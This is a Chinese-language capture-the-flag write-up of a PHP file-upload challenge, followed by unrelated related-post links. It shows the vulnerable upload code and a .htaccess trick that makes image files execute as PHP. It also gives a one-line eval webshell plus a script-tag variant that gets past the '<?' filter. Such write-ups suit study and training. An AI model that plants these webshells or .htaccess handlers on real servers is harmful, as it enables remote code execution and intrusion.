源码:

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"textml; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {$target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);$uploaded_size = $_FILES['uploaded']['size'];$uploaded_tmp  = $_FILES['uploaded']['tmp_name'];if(preg_match("/ph/i", strtolower($uploaded_ext))){die("后缀名不能有ph!");}else{if ((($_FILES["uploaded"]["type"] == "") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "imagepeg")) && ($_FILES["uploaded"]["size"] < 2048)){$content = file_get_contents($uploaded_tmp);if(preg_match("/\<\?/i", $content)){die("诶,别蒙我啊,这标志明显还是php啊");}else{mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);move_uploaded_file($uploaded_tmp, $t_path);echo "{$t_path} succesfully uploaded!";}}else{die("上传类型也太露骨了吧!");}}
}
?>

png文件不许上传,尝试上传jpg

修改后缀名为.htaccess,文件内容为

SetHandler application/x-httpd-php

上传一句话木马

<?php eval($_POST[cmd]);?>

失败,因为过滤了 <?
换一种方式

<script language='php'>eval($_POST[cmd]);</script>

上传成功,蚁剑连接一下,在根目录找到flag

补充:
.htaccess的方法:
方法一:
这里时是要包含所有文件带有lx1的文件(只要文件名里面有lx1都可以),都会被当成php代码执行

<FilesMatch "lx1">
SetHandler application/x-httpd-php
</FilesMatch>

方法二:
这种方法时,后面的.png或者.jpg文件能被当成php代码执行,如果想换成别的改扩展名就可以

AddType application/x-httpd-php .png
AddType application/x-httpd-php .jpg

[GXYCTF2019]BabyUpload 1 文件上传相关推荐

  1. springboot设置文件上传大小(tomcat默认1M)

    application.yml # 设置文件上传大小(tomcat默认1M) server:tomcat:max-http-form-post-size: -1 spring:servlet:mult ...

  2. 将文件上传至ftp服务器,FTP文件上传工具类,将文件上传至服务器指定目录

    将文件上传至ftp服务器,传入File对象,将文件上传至ftp服务器 需要配置修改的点: 1. 服务器ip端口(服务器ip 端口22/21). 2. 服务器账号密码(服务器登录用户名密码). 3. 上 ...

  3. Springboot 多文件上传

    其实多个文件和单个文件上传是一样的,可以使用同一个Controller 添加依赖 <!-- https://mvnrepository.com/artifact/commons-fileuplo ...

  4. django文件上传

    Django在处理文件上传时,文件数据被打包封装在request.FILES中. 一.简单上传 首先,写一个form模型,它必须包含一个FileField: # forms.py from djang ...

  5. spring boot 文件上传工具类(bug 已修改)

    以前的文件上传都是之前前辈写的,现在自己来写一个,大家可以看看,有什么问题可以在评论中提出来. 写的这个文件上传是在spring boot 2.0中测试的,测试了,可以正常上传,下面贴代码 第一步:引 ...

  6. 模拟文件上传(一):手动文件上传

    关于上传文件,首先我的第一个案例是一个文本文件的上传,简单容易上手! 首先我们上传文件肯定就属于实体内容部分了:所以不能过GET方式请求了,要通过POST方式请求: 因为: 1.get方式是URL传值 ...

  7. Java中的文件上传2(Commons FileUpload:commons-fileupload.jar)

    相比上一篇使用Servlet原始去实现的文件上传(http://www.cnblogs.com/EasonJim/p/6554669.html),使用组件去实现相对来说功能更多,省去了很多需要配置和处 ...

  8. 转 [JAVA] 使用 common-fileupload 实现文件上传

    就在前段时间,还在苦于找到不到合适的上传组件,虽然很早就知道了 common-fileupload,但当时却因为没有找到如何获取表单参数的方法而使用 jspSmartUpload,历尽艰辛终于找到了它 ...

  9. 三层架构中ajax,基于mvc三层架构和ajax技术实现最简单的文件上传

    前台页面提交文件 文件操作 上传文件 //上传文件 function upFile() { var file = document.getElementById("UpFile") ...

最新文章

  1. 远程桌面解决(面对不同问题)连接办法
  2. arcgis的python脚本-ArcGIS Python脚本使用
  3. ITK:迷你管道MiniPipeline
  4. C++中4种强制类型转换 ?
  5. 【python 3.6】python读取json数据存入MySQL(一)
  6. python运行速度慢是解释器的原因_python为什么会运行慢
  7. plsql表设置主键_对复制实施主键约束
  8. python整数分节输出_pyfactor
  9. 自从微信更新后,广东人都玩疯了!以后语音可以识别英语、粤语啦!
  10. 迅捷cad_迅捷属性
  11. postgresql----时间类型
  12. 帆软层次坐标常用公式整理
  13. redis hscan用法
  14. 计算机软件服务可以自开专票,新规:小规模纳税人也可以自开专票
  15. 《Vue的基本语法》
  16. Excel最强玩法!只用Excel就能做出「王者荣耀」战绩表
  17. INSPINIA ADMIN 开发框架
  18. C语言运算符和表达式
  19. PDF怎么把两个合并成一个?PDF怎么合并?
  20. 通过IP地址进行精准定位

热门文章

  1. DateTime 时间格式
  2. defunct进程的由来及处理
  3. ElementUI表格的动态渲染
  4. 回忆PHTOTSHOP技巧-滤镜技巧篇
  5. libcurl无法解析的外部符号
  6. Android更新圆点代码,Android实现两圆点之间来回移动加载进度
  7. 真正的ChatGPT平替产品:Claude
  8. 【Kmeans】k均值聚类案例演示
  9. 第一次蓝牙TWS调试项目
  10. 无法删除docker目录(rm: 无法删除/var/lib/docker/overlay/XXXXXXXXXXXXXX/merged: 设备或资源忙)